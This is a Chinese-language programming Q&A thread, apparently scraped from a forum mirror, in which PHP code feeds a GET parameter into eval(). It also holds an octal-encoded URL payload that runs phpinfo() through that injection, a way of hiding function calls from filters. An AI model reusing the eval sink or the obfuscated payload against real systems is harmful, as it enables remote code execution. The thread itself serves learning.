Php 执行八进制传递的函数
我有密码Php 执行八进制传递的函数,php,Php,我有密码 <?php eval('print '.$_GET['email'].";"); ?> 我执行了phpinfo函数 但如果我这样做了 http://localhost/1.php?email="\160\150\160\151\156\146\157\050\051" 我只得到字符串phpinfo 那么如何只使用八进制来执行phpinfo函数呢?试试这个 http://localhost/1.php?email=\160\150\160\151\156\146\1
<?php
eval('print '.$_GET['email'].";");
?>
我执行了phpinfo函数
但如果我这样做了
http://localhost/1.php?email="\160\150\160\151\156\146\157\050\051"
我只得到字符串phpinfo
那么如何只使用八进制来执行phpinfo函数呢?试试这个
http://localhost/1.php?email=\160\150\160\151\156\146\157\050\051
<?php
$url=urldecode($_GET['email']);
$func_name=stripcslashes($url);
eval('print '.$func_name.";");
?>
好的,我自己做
http://localhost/1.php?email=${"\160\150\160\151\156\146\157"()}
做这个把戏谢谢,这很有效,但我不想改变我的代码,我需要理解为什么八进制不能以我的方式执行
http://localhost/1.php?email=${"\160\150\160\151\156\146\157"()}